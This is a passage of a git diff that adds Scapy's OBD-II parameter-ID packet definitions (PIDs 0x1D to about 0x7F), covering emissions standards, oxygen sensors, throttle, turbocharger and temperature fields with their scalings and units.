0x09: 'EOBD, OBD and OBD II', + 0x0A: 'JOBD (Japan)', + 0x0B: 'JOBD and OBD II', + 0x0C: 'JOBD and EOBD', + 0x0D: 'JOBD, EOBD, and OBD II', + 0x0E: 'Reserved', + 0x0F: 'Reserved', + 0x10: 'Reserved', + 0x11: 'Engine Manufacturer Diagnostics (EMD)', + 0x12: 'Engine Manufacturer Diagnostics Enhanced (EMD+)', + 0x13: 'Heavy Duty On-Board Diagnostics (Child/Partial) (HD OBD-C)', + 0x14: 'Heavy Duty On-Board Diagnostics (HD OBD)', + 0x15: 'World Wide Harmonized OBD (WWH OBD)', + 0x16: 'Reserved', + 0x17: 'Heavy Duty Euro OBD Stage I without NOx control (HD EOBD-I)', + 0x18: 'Heavy Duty Euro OBD Stage I with NOx control (HD EOBD-I N)', + 0x19: 'Heavy Duty Euro OBD Stage II without NOx control (HD EOBD-II)', + 0x1A: 'Heavy Duty Euro OBD Stage II with NOx control (HD EOBD-II N)', + 0x1B: 'Reserved', + 0x1C: 'Brazil OBD Phase 1 (OBDBr-1)', + 0x1D: 'Brazil OBD Phase 2 (OBDBr-2)', + 0x1E: 'Korean OBD (KOBD)', + 0x1F: 'India OBD I (IOBD I)', + 0x20: 'India OBD II (IOBD II)', + 0x21: 'Heavy Duty Euro OBD Stage VI (HD EOBD-IV)', + } + + fields_desc = [ + XByteEnumField('data', 0, obdStandards) + ] + + +class OBD_PID1D(OBD_Packet): + name = "PID_1D_OxygenSensorsPresent" + fields_desc = [ + FlagsField('sensors_present', 0, 8, [ + 'Bank1Sensor1', + 'Bank1Sensor2', + 'Bank2Sensor1', + 'Bank2Sensor2', + 'Bank3Sensor1', + 'Bank3Sensor2', + 'Bank4Sensor1', + 'Bank4Sensor2' + ]) + ] + + +class OBD_PID1E(OBD_Packet): + name = "PID_1E_AuxiliaryInputStatus" + fields_desc = [ + BitField('reserved', 0, 7), + BitEnumField('pto_status', 0, 1, OBD_PID01.onOff) + ] + + +class OBD_PID1F(OBD_Packet): + name = "PID_1F_RunTimeSinceEngineStart" + fields_desc = [ + ScalingField('data', 0, unit="s", fmt="H") + ] diff --git a/libs/scapy/contrib/automotive/obd/pid/pids_20_3F.py b/libs/scapy/contrib/automotive/obd/pid/pids_20_3F.py new file mode 100755 index 0000000..a28ecc7 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/pid/pids_20_3F.py @@ -0,0 +1,242 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import FlagsField, ScalingField +from scapy.contrib.automotive.obd.packet import OBD_Packet + + +# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information +# PID = Parameter IDentification + + +class OBD_PID20(OBD_Packet): + name = "PID_20_PIDsSupported" + fields_desc = [ + FlagsField('supported_pids', 0, 32, [ + 'PID40', + 'PID3F', + 'PID3E', + 'PID3D', + 'PID3C', + 'PID3B', + 'PID3A', + 'PID39', + 'PID38', + 'PID37', + 'PID36', + 'PID35', + 'PID34', + 'PID33', + 'PID32', + 'PID31', + 'PID30', + 'PID2F', + 'PID2E', + 'PID2D', + 'PID2C', + 'PID2B', + 'PID2A', + 'PID29', + 'PID28', + 'PID27', + 'PID26', + 'PID25', + 'PID24', + 'PID23', + 'PID22', + 'PID21' + ]) + ] + + +class OBD_PID21(OBD_Packet): + name = "PID_21_DistanceTraveledWithMalfunctionIndicatorLampOn" + fields_desc = [ + ScalingField('data', 0, unit="km", fmt="H") + ] + + +class OBD_PID22(OBD_Packet): + name = "PID_22_FuelRailPressure" + fields_desc = [ + ScalingField('data', 0, scaling=0.079, unit="kPa", fmt="H") + ] + + +class OBD_PID23(OBD_Packet): + name = "PID_23_FuelRailGaugePressure" + fields_desc = [ + ScalingField('data', 0, scaling=10, unit="kPa", fmt="H") + ] + + +class _OBD_PID24_2B(OBD_Packet): + fields_desc = [ + ScalingField('equivalence_ratio', 0, scaling=0.0000305, fmt="H"), + ScalingField('voltage', 0, scaling=0.000122, unit="V", fmt="H") + ] + + +class OBD_PID24(_OBD_PID24_2B): + name = "PID_24_OxygenSensor1" + + +class OBD_PID25(_OBD_PID24_2B): + name = "PID_25_OxygenSensor2" + + +class OBD_PID26(_OBD_PID24_2B): + name = "PID_26_OxygenSensor3" + + +class OBD_PID27(_OBD_PID24_2B): + name = "PID_27_OxygenSensor4" + + +class OBD_PID28(_OBD_PID24_2B): + name = "PID_28_OxygenSensor5" + + +class OBD_PID29(_OBD_PID24_2B): + name = "PID_29_OxygenSensor6" + + +class OBD_PID2A(_OBD_PID24_2B): + name = "PID_2A_OxygenSensor7" + + +class OBD_PID2B(_OBD_PID24_2B): + name = "PID_2B_OxygenSensor8" + + +class OBD_PID2C(OBD_Packet): + name = "PID_2C_CommandedEgr" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 255., unit="%") + ] + + +class OBD_PID2D(OBD_Packet): + name = "PID_2D_EgrError" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 128., + unit="%", offset=-100.0) + ] + + +class OBD_PID2E(OBD_Packet): + name = "PID_2E_CommandedEvaporativePurge" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 255., unit="%") + ] + + +class OBD_PID2F(OBD_Packet): + name = "PID_2F_FuelTankLevelInput" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 255., unit="%") + ] + + +class OBD_PID30(OBD_Packet): + name = "PID_30_WarmUpsSinceCodesCleared" + fields_desc = [ + ScalingField('data', 0) + ] + + +class OBD_PID31(OBD_Packet): + name = "PID_31_DistanceTraveledSinceCodesCleared" + fields_desc = [ + ScalingField('data', 0, unit="km", fmt="H") + ] + + +class OBD_PID32(OBD_Packet): + name = "PID_32_EvapSystemVaporPressure" + fields_desc = [ + ScalingField('data', 0, scaling=0.25, unit="Pa", fmt="h") + ] + + +class OBD_PID33(OBD_Packet): + name = "PID_33_AbsoluteBarometricPressure" + fields_desc = [ + ScalingField('data', 0, unit="kPa") + ] + + +class _OBD_PID34_3B(OBD_Packet): + fields_desc = [ + ScalingField('equivalence_ratio', 0, scaling=0.0000305, fmt="H"), + ScalingField('current', 0, scaling=0.00390625, unit="mA", fmt="H") + ] + + +class OBD_PID34(_OBD_PID34_3B): + name = "PID_34_OxygenSensor1" + + +class OBD_PID35(_OBD_PID34_3B): + name = "PID_35_OxygenSensor2" + + +class OBD_PID36(_OBD_PID34_3B): + name = "PID_36_OxygenSensor3" + + +class OBD_PID37(_OBD_PID34_3B): + name = "PID_37_OxygenSensor4" + + +class OBD_PID38(_OBD_PID34_3B): + name = "PID_38_OxygenSensor5" + + +class OBD_PID39(_OBD_PID34_3B): + name = "PID_39_OxygenSensor6" + + +class OBD_PID3A(_OBD_PID34_3B): + name = "PID_3A_OxygenSensor7" + + +class OBD_PID3B(_OBD_PID34_3B): + name = "PID_3B_OxygenSensor8" + + +class OBD_PID3C(OBD_Packet): + name = "PID_3C_CatalystTemperatureBank1Sensor1" + fields_desc = [ + ScalingField('data', 0, scaling=0.1, unit="deg. C", + offset=-40.0, fmt="H") + ] + + +class OBD_PID3D(OBD_Packet): + name = "PID_3D_CatalystTemperatureBank2Sensor1" + fields_desc = [ + ScalingField('data', 0, scaling=0.1, unit="deg. C", + offset=-40.0, fmt="H") + ] + + +class OBD_PID3E(OBD_Packet): + name = "PID_3E_CatalystTemperatureBank1Sensor2" + fields_desc = [ + ScalingField('data', 0, scaling=0.1, unit="deg. C", + offset=-40.0, fmt="H") + ] + + +class OBD_PID3F(OBD_Packet): + name = "PID_3F_CatalystTemperatureBank2Sensor2" + fields_desc = [ + ScalingField('data', 0, scaling=0.1, unit="deg. C", + offset=-40.0, fmt="H") + ] diff --git a/libs/scapy/contrib/automotive/obd/pid/pids_40_5F.py b/libs/scapy/contrib/automotive/obd/pid/pids_40_5F.py new file mode 100755 index 0000000..c1cec7a --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/pid/pids_40_5F.py @@ -0,0 +1,335 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import ByteEnumField, BitField, FlagsField, XByteField, \ + ScalingField, ThreeBytesField +from scapy.contrib.automotive.obd.packet import OBD_Packet + + +# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information +# PID = Parameter IDentification + + +class OBD_PID40(OBD_Packet): + name = "PID_40_PIDsSupported" + fields_desc = [ + FlagsField('supported_pids', 0, 32, [ + 'PID60', + 'PID5F', + 'PID5E', + 'PID5D', + 'PID5C', + 'PID5B', + 'PID5A', + 'PID59', + 'PID58', + 'PID57', + 'PID56', + 'PID55', + 'PID54', + 'PID53', + 'PID52', + 'PID51', + 'PID50', + 'PID4F', + 'PID4E', + 'PID4D', + 'PID4C', + 'PID4B', + 'PID4A', + 'PID49', + 'PID48', + 'PID47', + 'PID46', + 'PID45', + 'PID44', + 'PID43', + 'PID42', + 'PID41' + ]) + ] + + +class OBD_PID41(OBD_Packet): + name = "PID_41_MonitorStatusThisDriveCycle" + onOff = { + 0: 'off', + 1: 'on' + } + + fields_desc = [ + XByteField('reserved', 0), + + BitField('reserved1', 0, 1), + FlagsField('continuous_tests_ready', 0, 3, [ + 'misfire', + 'fuelSystem', + 'components' + ]), + + BitField('reserved2', 0, 1), + FlagsField('continuous_tests_supported', 0, 3, [ + 'misfire', + 'fuelSystem', + 'components' + ]), + + FlagsField('once_per_trip_tests_supported', 0, 8, [ + 'egr', + 'oxygenSensorHeater', + 'oxygenSensor', + 'acSystemRefrigerant', + 'secondaryAirSystem', + 'evaporativeSystem', + 'heatedCatalyst', + 'catalyst' + ]), + + FlagsField('once_per_trip_tests_ready', 0, 8, [ + 'egr', + 'oxygenSensorHeater', + 'oxygenSensor', + 'acSystemRefrigerant', + 'secondaryAirSystem', + 'evaporativeSystem', + 'heatedCatalyst', + 'catalyst' + ]) + ] + + +class OBD_PID42(OBD_Packet): + name = "PID_42_ControlModuleVoltage" + fields_desc = [ + ScalingField('data', 0, scaling=0.001, unit="V", fmt="H") + ] + + +class OBD_PID43(OBD_Packet): + name = "PID_43_AbsoluteLoadValue" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 255., unit="%", fmt="H") + ] + + +class OBD_PID44(OBD_Packet): + name = "PID_44_FuelAirCommandedEquivalenceRatio" + fields_desc = [ + ScalingField('data', 0, scaling=0.0000305, fmt="H") + ] + + +class _OBD_PercentPacket(OBD_Packet): + fields_desc = [ + ScalingField('data', 0, scaling=100 / 255., unit="%") + ] + + +class OBD_PID45(_OBD_PercentPacket): + name = "PID_45_RelativeThrottlePosition" + + +class OBD_PID46(OBD_Packet): + name = "PID_46_AmbientAirTemperature" + fields_desc = [ + ScalingField('data', 0, unit="deg. C", offset=-40.0) + ] + + +class OBD_PID47(_OBD_PercentPacket): + name = "PID_47_AbsoluteThrottlePositionB" + + +class OBD_PID48(_OBD_PercentPacket): + name = "PID_48_AbsoluteThrottlePositionC" + + +class OBD_PID49(_OBD_PercentPacket): + name = "PID_49_AcceleratorPedalPositionD" + + +class OBD_PID4A(_OBD_PercentPacket): + name = "PID_4A_AcceleratorPedalPositionE" + + +class OBD_PID4B(_OBD_PercentPacket): + name = "PID_4B_AcceleratorPedalPositionF" + + +class OBD_PID4C(_OBD_PercentPacket): + name = "PID_4C_CommandedThrottleActuator" + + +class OBD_PID4D(OBD_Packet): + name = "PID_4D_TimeRunWithMilOn" + fields_desc = [ + ScalingField('data', 0, unit="min", fmt="H") + ] + + +class OBD_PID4E(OBD_Packet): + name = "PID_4E_TimeSinceTroubleCodesCleared" + fields_desc = [ + ScalingField('data', 0, unit="min", fmt="H") + ] + + +class OBD_PID4F(OBD_Packet): + name = "PID_4F_VariousMaxValues" + fields_desc = [ + ScalingField('equivalence_ratio', 0), + ScalingField('sensor_voltage', 0, unit="V"), + ScalingField('sensor_current', 0, unit="mA"), + ScalingField('intake_manifold_absolute_pressure', 0, + scaling=10, unit="kPa") + ] + + +class OBD_PID50(OBD_Packet): + name = "PID_50_MaximumValueForAirFlowRateFromMassAirFlowSensor" + fields_desc = [ + ScalingField('data', 0, scaling=10, unit="g/s"), + ThreeBytesField('reserved', 0) + ] + + +class OBD_PID51(OBD_Packet): + name = "PID_51_FuelType" + + fuelTypes = { + 0: 'Not available', + 1: 'Gasoline', + 2: 'Methanol', + 3: 'Ethanol', + 4: 'Diesel', + 5: 'LPG', + 6: 'CNG', + 7: 'Propane', + 8: 'Electric', + 9: 'Bifuel running Gasoline', + 10: 'Bifuel running Methanol', + 11: 'Bifuel running Ethanol', + 12: 'Bifuel running LPG', + 13: 'Bifuel running CNG', + 14: 'Bifuel running Propane', + 15: 'Bifuel running Electricity', + 16: 'Bifuel running electric and combustion engine', + 17: 'Hybrid gasoline', + 18: 'Hybrid Ethanol', + 19: 'Hybrid Diesel', + 20: 'Hybrid Electric', + 21: 'Hybrid running electric and combustion engine', + 22: 'Hybrid Regenerative', + 23: 'Bifuel running diesel'} + + fields_desc = [ + ByteEnumField('data', 0, fuelTypes) + ] + + +class OBD_PID52(_OBD_PercentPacket): + name = "PID_52_EthanolFuel" + + +class OBD_PID53(OBD_Packet): + name = "PID_53_AbsoluteEvapSystemVaporPressure" + fields_desc = [ + ScalingField('data', 0, scaling=1 / 200., unit="kPa", fmt="H") + ] + + +class OBD_PID54(OBD_Packet): + name = "PID_54_EvapSystemVaporPressure" + fields_desc = [ + ScalingField('data', 0, unit="Pa", fmt="h") + ] + + +class _OBD_SensorTrimPacket1(OBD_Packet): + fields_desc = [ + ScalingField('bank1', 0, scaling=100 / 128., + offset=-100, unit="%"), + ScalingField('bank3', 0, scaling=100 / 128., + offset=-100, unit="%") + ] + + +class _OBD_SensorTrimPacket2(OBD_Packet): + fields_desc = [ + ScalingField('bank2', 0, scaling=100 / 128., + offset=-100, unit="%"), + ScalingField('bank4', 0, scaling=100 / 128., + offset=-100, unit="%") + ] + + +class OBD_PID55(_OBD_SensorTrimPacket1): + name = "PID_55_ShortTermSecondaryOxygenSensorTrim" + + +class OBD_PID56(_OBD_SensorTrimPacket1): + name = "PID_56_LongTermSecondaryOxygenSensorTrim" + + +class OBD_PID57(_OBD_SensorTrimPacket2): + name = "PID_57_ShortTermSecondaryOxygenSensorTrim" + + +class OBD_PID58(_OBD_SensorTrimPacket2): + name = "PID_58_LongTermSecondaryOxygenSensorTrim" + + +class OBD_PID59(OBD_Packet): + name = "PID_59_FuelRailAbsolutePressure" + fields_desc = [ + ScalingField('data', 0, scaling=10, unit="kPa", fmt="H") + ] + + +class OBD_PID5A(_OBD_PercentPacket): + name = "PID_5A_RelativeAcceleratorPedalPosition" + + +class OBD_PID5B(_OBD_PercentPacket): + name = "PID_5B_HybridBatteryPackRemainingLife" + + +class OBD_PID5C(OBD_Packet): + name = "PID_5C_EngineOilTemperature" + fields_desc = [ + ScalingField('data', 0, unit="deg. C", offset=-40.0) + ] + + +class OBD_PID5D(OBD_Packet): + name = "PID_5D_FuelInjectionTiming" + fields_desc = [ + ScalingField('data', 0, scaling=1 / 128., offset=-210, + unit="deg.", fmt="H") + ] + + +class OBD_PID5E(OBD_Packet): + name = "PID_5E_EngineFuelRate" + fields_desc = [ + ScalingField('data', 0, scaling=0.05, unit="L/h", fmt="H") + ] + + +class OBD_PID5F(OBD_Packet): + name = "PID_5F_EmissionRequirementsToWhichVehicleIsDesigned" + + emissionRequirementTypes = { + 0xE: 'Heavy Duty Vehicles (EURO IV) B1', + 0xF: 'Heavy Duty Vehicles (EURO V) B2', + 0x10: 'Heavy Duty Vehicles (EURO EEV) C', + } + + fields_desc = [ + ByteEnumField('data', 0, emissionRequirementTypes) + ] diff --git a/libs/scapy/contrib/automotive/obd/pid/pids_60_7F.py b/libs/scapy/contrib/automotive/obd/pid/pids_60_7F.py new file mode 100755 index 0000000..f466f0a --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/pid/pids_60_7F.py @@ -0,0 +1,501 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import BitField, FlagsField, ScalingField +from scapy.contrib.automotive.obd.packet import OBD_Packet + + +# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information +# PID = Parameter IDentification + + +class OBD_PID60(OBD_Packet): + name = "PID_60_PIDsSupported" + fields_desc = [ + FlagsField('supported_pids', 0, 32, [ + 'PID80', + 'PID7F', + 'PID7E', + 'PID7D', + 'PID7C', + 'PID7B', + 'PID7A', + 'PID79', + 'PID78', + 'PID77', + 'PID76', + 'PID75', + 'PID74', + 'PID73', + 'PID72', + 'PID71', + 'PID70', + 'PID6F', + 'PID6E', + 'PID6D', + 'PID6C', + 'PID6B', + 'PID6A', + 'PID69', + 'PID68', + 'PID67', + 'PID66', + 'PID65', + 'PID64', + 'PID63', + 'PID62', + 'PID61' + ]) + ] + + +class OBD_PID61(OBD_Packet): + name = "PID_61_DriverSDemandEnginePercentTorque" + fields_desc = [ + ScalingField('data', 0, unit="%", offset=-125.0) + ] + + +class OBD_PID62(OBD_Packet): + name = "PID_62_ActualEnginePercentTorque" + fields_desc = [ + ScalingField('data', 0, unit="%", offset=-125.0) + ] + + +class OBD_PID63(OBD_Packet): + name = "PID_63_EngineReferenceTorque" + fields_desc = [ + ScalingField('data', 0, unit="Nm", fmt="H") + ] + + +class OBD_PID64(OBD_Packet): + name = "PID_64_EnginePercentTorqueData" + fields_desc = [ + ScalingField('at_point1', 0, unit="%", offset=-125.0), + ScalingField('at_point2', 0, unit="%", offset=-125.0), + ScalingField('at_point3', 0, unit="%", offset=-125.0), + ScalingField('at_point4', 0, unit="%", offset=-125.0), + ScalingField('at_point5', 0, unit="%", offset=-125.0) + ] + + +class OBD_PID65(OBD_Packet): + name = "PID_65_AuxiliaryInputOutputSupported" + fields_desc = [ + BitField('reserved1', 0, 4), + BitField('glow_plug_lamp_status_supported', 0, 1), + BitField('manual_trans_neutral_drive_status_supported', 0, 1), + BitField('auto_trans_neutral_drive_status_supported', 0, 1), + BitField('power_take_off_status_supported', 0, 1), + + BitField('reserved2', 0, 4), + BitField('glow_plug_lamp_status', 0, 1), + BitField('manual_trans_neutral_drive_status', 0, 1), + BitField('auto_trans_neutral_drive_status', 0, 1), + BitField('power_take_off_status', 0, 1), + ] + + +class OBD_PID66(OBD_Packet): + name = "PID_66_MassAirFlowSensor" + fields_desc = [ + BitField('reserved', 0, 6), + BitField('sensor_b_supported', 0, 1), + BitField('sensor_a_supported', 0, 1), + ScalingField('sensor_a', 0, scaling=0.03125, unit="g/s", fmt="H"), + ScalingField('sensor_b', 0, scaling=0.03125, unit="g/s", fmt="H"), + ] + + +class OBD_PID67(OBD_Packet): + name = "PID_67_EngineCoolantTemperature" + fields_desc = [ + BitField('reserved', 0, 6), + BitField('sensor2_supported', 0, 1), + BitField('sensor1_supported', 0, 1), + ScalingField('sensor1', 0, unit="deg. C", offset=-40.0), + ScalingField('sensor2', 0, unit="deg. C", offset=-40.0) + ] + + +class OBD_PID68(OBD_Packet): + name = "PID_68_IntakeAirTemperatureSensor" + fields_desc = [ + BitField('reserved', 0, 2), + BitField('bank2_sensor3_supported', 0, 1), + BitField('bank2_sensor2_supported', 0, 1), + BitField('bank2_sensor1_supported', 0, 1), + BitField('bank1_sensor3_supported', 0, 1), + BitField('bank1_sensor2_supported', 0, 1), + BitField('bank1_sensor1_supported', 0, 1), + ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), + ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), + ScalingField('bank1_sensor3', 0, unit="deg. C", offset=-40), + ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), + ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), + ScalingField('bank2_sensor3', 0, unit="deg. C", offset=-40) + ] + + +class OBD_PID69(OBD_Packet): + name = "PID_69_CommandedEgrAndEgrError" + fields_desc = [ + BitField('reserved', 0, 2), + BitField('egr_b_error_supported', 0, 1), + BitField('actual_egr_b_duty_cycle_supported', 0, 1), + BitField('commanded_egr_b_duty_cycle_supported', 0, 1), + BitField('egr_a_error_supported', 0, 1), + BitField('actual_egr_a_duty_cycle_supported', 0, 1), + BitField('commanded_egr_a_duty_cycle_supported', 0, 1), + ScalingField('commanded_egr_a_duty_cycle', 0, scaling=100 / 255., + unit="%"), + ScalingField('actual_egr_a_duty_cycle', 0, scaling=100 / 255., + unit="%"), + ScalingField('egr_a_error', 0, scaling=100 / 128., unit="%", + offset=-100), + ScalingField('commanded_egr_b_duty_cycle', 0, scaling=100 / 255., + unit="%"), + ScalingField('actual_egr_b_duty_cycle', 0, scaling=100 / 255., + unit="%"), + ScalingField('egr_b_error', 0, scaling=100 / 128., unit="%", + offset=-100), + ] + + +class OBD_PID6A(OBD_Packet): + name = "PID_6A_CommandedDieselIntakeAirFlowControl" \ + "AndRelativeIntakeAirFlowPosition" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('relative_intake_air_flow_b_position_supported', 0, 1), + BitField('commanded_intake_air_flow_b_control_supported', 0, 1), + BitField('relative_intake_air_flow_a_position_supported', 0, 1), + BitField('commanded_intake_air_flow_a_control_supported', 0, 1), + ScalingField('commanded_intake_air_flow_a_control', 0, + scaling=100 / 255., unit="%"), + ScalingField('relative_intake_air_flow_a_position', 0, + scaling=100 / 255., unit="%"), + ScalingField('commanded_intake_air_flow_b_control', 0, + scaling=100 / 255., unit="%"), + ScalingField('relative_intake_air_flow_b_position', 0, + scaling=100 / 255., unit="%"), + ] + + +class OBD_PID6B(OBD_Packet): + name = "PID_6B_ExhaustGasRecirculationTemperature" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('bank2_sensor2_supported', 0, 1), + BitField('bank2_sensor1_supported', 0, 1), + BitField('bank1_sensor2_supported', 0, 1), + BitField('bank1_sensor1_supported', 0, 1), + ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), + ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), + ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), + ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), + ] + + +class OBD_PID6C(OBD_Packet): + name = "PID_6C_CommandedThrottleActuatorControlAndRelativeThrottlePosition" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('relative_throttle_b_position_supported', 0, 1), + BitField('commanded_throttle_actuator_b_control_supported', 0, 1), + BitField('relative_throttle_a_position_supported', 0, 1), + BitField('commanded_throttle_actuator_a_control_supported', 0, 1), + ScalingField('commanded_throttle_actuator_a_control', 0, + scaling=100 / 255., unit="%"), + ScalingField('relative_throttle_a_position', 0, + scaling=100 / 255., unit="%"), + ScalingField('commanded_throttle_actuator_b_control', 0, + scaling=100 / 255., unit="%"), + ScalingField('relative_throttle_b_position', 0, + scaling=100 / 255., unit="%"), + ] + + +class OBD_PID6D(OBD_Packet): + name = "PID_6D_FuelPressureControlSystem" + fields_desc = [ + BitField('reserved', 0, 5), + BitField('fuel_temperature_supported', 0, 1), + BitField('fuel_rail_pressure_supported', 0, 1), + BitField('commanded_fuel_rail_pressure_supported', 0, 1), + ScalingField('commanded_fuel_rail_pressure', 0, scaling=10, unit="kPa", + fmt='H'), + ScalingField('fuel_rail_pressure', 0, scaling=10, unit="kPa", + fmt='H'), + ScalingField('fuel_rail_temperature', 0, unit="deg. C", offset=-40) + ] + + +class OBD_PID6E(OBD_Packet): + name = "PID_6E_InjectionPressureControlSystem" + fields_desc = [ + BitField('reserved', 0, 6), + BitField('injection_control_pressure_supported', 0, 1), + BitField('commanded_injection_control_pressure_supported', 0, 1), + ScalingField('commanded_injection_control_pressure', 0, scaling=10, + unit="kPa", fmt='H'), + ScalingField('injection_control_pressure', 0, scaling=10, + unit="kPa", fmt='H'), + ] + + +class OBD_PID6F(OBD_Packet): + name = "PID_6F_TurbochargerCompressorInletPressure" + fields_desc = [ + BitField('reserved', 0, 6), + BitField('sensor_b_supported', 0, 1), + BitField('sensor_a_supported', 0, 1), + ScalingField('sensor_a', 0, unit="kPa"), + ScalingField('sensor_b', 0, unit="kPa"), + ] + + +class OBD_PID70(OBD_Packet): + name = "PID_70_BoostPressureControl" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('boost_pressure_sensor_b_supported', 0, 1), + BitField('commanded_boost_pressure_b_supported', 0, 1), + BitField('boost_pressure_sensor_a_supported', 0, 1), + BitField('commanded_boost_pressure_a_supported', 0, 1), + ScalingField('commanded_boost_pressure_a', 0, scaling=0.03125, + unit="kPa", fmt='H'), + ScalingField('boost_pressure_sensor_a', 0, scaling=0.03125, + unit="kPa", fmt='H'), + ScalingField('commanded_boost_pressure_b', 0, scaling=0.03125, + unit="kPa", fmt='H'), + ScalingField('boost_pressure_sensor_b', 0, scaling=0.03125, + unit="kPa", fmt='H'), + ] + + +class OBD_PID71(OBD_Packet): + name = "PID_71_VariableGeometryTurboControl" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('vgt_b_position_supported', 0, 1), + BitField('commanded_vgt_b_position_supported', 0, 1), + BitField('vgt_a_position_supported', 0, 1), + BitField('commanded_vgt_a_position_supported', 0, 1), + ScalingField('commanded_variable_geometry_turbo_a_position', 0, + scaling=100 / 255., unit="%"), + ScalingField('variable_geometry_turbo_a_position', 0, + scaling=100 / 255., unit="%"), + ScalingField('commanded_variable_geometry_turbo_b_position', 0, + scaling=100 / 255., unit="%"), + ScalingField('variable_geometry_turbo_b_position', 0, + scaling=100 / 255., unit="%"), + ] + + +class OBD_PID72(OBD_Packet): + name = "PID_72_WastegateControl" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('wastegate_b_position_supported', 0, 1), + BitField('commanded_wastegate_b_position_supported', 0, 1), + BitField('wastegate_a_position_supported', 0, 1), + BitField('commanded_wastegate_a_position_supported', 0, 1), + ScalingField('commanded_wastegate_a_position', 0, + scaling=100 / 255., unit="%"), + ScalingField('wastegate_a_position', 0, + scaling=100 / 255., unit="%"), + ScalingField('commanded_wastegate_b_position', 0, + scaling=100 / 255., unit="%"), + ScalingField('wastegate_b_position', 0, + scaling=100 / 255., unit="%"), + ] + + +class OBD_PID73(OBD_Packet): + name = "PID_73_ExhaustPressure" + fields_desc = [ + BitField('reserved', 0, 6), + BitField('sensor_bank2_supported', 0, 1), + BitField('sensor_bank1_supported', 0, 1), + ScalingField('sensor_bank1', 0, scaling=0.01, unit="kPa", fmt='H'), + ScalingField('sensor_bank2', 0, scaling=0.01, unit="kPa", fmt='H'), + ] + + +class OBD_PID74(OBD_Packet): + name = "PID_74_TurbochargerRpm" + fields_desc = [ + BitField('reserved', 0, 6), + BitField('b_supported', 0, 1), + BitField('a_supported', 0, 1), + ScalingField('a_rpm', 0, unit="min-1", fmt='H'), + ScalingField('b_rpm', 0, unit="min-1", fmt='H'), + ] + + +class OBD_PID75(OBD_Packet): + name = "PID_75_TurbochargerATemperature" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('turbo_a_turbine_outlet_temperature_supported', 0, 1), + BitField('turbo_a_turbine_inlet_temperature_supported', 0, 1), + BitField('turbo_a_compressor_outlet_temperature_supported', 0, 1), + BitField('turbo_a_compressor_inlet_temperature_supported', 0, 1), + ScalingField('turbocharger_a_compressor_inlet_temperature', 0, + unit="deg. C", offset=-40), + ScalingField('turbocharger_a_compressor_outlet_temperature', 0, + unit="deg. C", offset=-40), + ScalingField('turbocharger_a_turbine_inlet_temperature', 0, + unit="deg. C", offset=-40, fmt='H', + scaling=0.1), + ScalingField('turbocharger_a_turbine_outlet_temperature', 0, + unit="deg. C", offset=-40, fmt='H', + scaling=0.1), + ] + + +class OBD_PID76(OBD_Packet): + name = "PID_76_TurbochargerBTemperature" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('turbo_a_turbine_outlet_temperature_supported', 0, 1), + BitField('turbo_a_turbine_inlet_temperature_supported', 0, 1), + BitField('turbo_a_compressor_outlet_temperature_supported', 0, 1), + BitField('turbo_a_compressor_inlet_temperature_supported', 0, 1), + ScalingField('turbocharger_a_compressor_inlet_temperature', 0, + unit="deg. C", offset=-40), + ScalingField('turbocharger_a_compressor_outlet_temperature', 0, + unit="deg. C", offset=-40), + ScalingField('turbocharger_a_turbine_inlet_temperature', 0, + unit="deg. C", offset=-40, fmt='H', + scaling=0.1), + ScalingField('turbocharger_a_turbine_outlet_temperature', 0, + unit="deg. C", offset=-40, fmt='H', + scaling=0.1), + ] + + +class OBD_PID77(OBD_Packet): + name = "PID_77_ChargeAirCoolerTemperature" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('bank2_sensor2_supported', 0, 1), + BitField('bank2_sensor1_supported', 0, 1), + BitField('bank1_sensor2_supported', 0, 1), + BitField('bank1_sensor1_supported', 0, 1), + ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), + ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), + ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), + ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), + ] + + +class _OBD_PID_ExhaustGasTemperatureBank(OBD_Packet): + fields_desc = [ + BitField('reserved', 0, 4), + BitField('sensor4_supported', 0, 1), + BitField('sensor3_supported', 0, 1), + BitField('sensor2_supported', 0, 1), + BitField('sensor1_supported', 0, 1), + ScalingField('sensor1', 0, unit="deg. C", offset=-40, + scaling=0.1, fmt='H'), + ScalingField('sensor2', 0, unit="deg. C", offset=-40, + scaling=0.1, fmt='H'), + ScalingField('sensor3', 0, unit="deg. C", 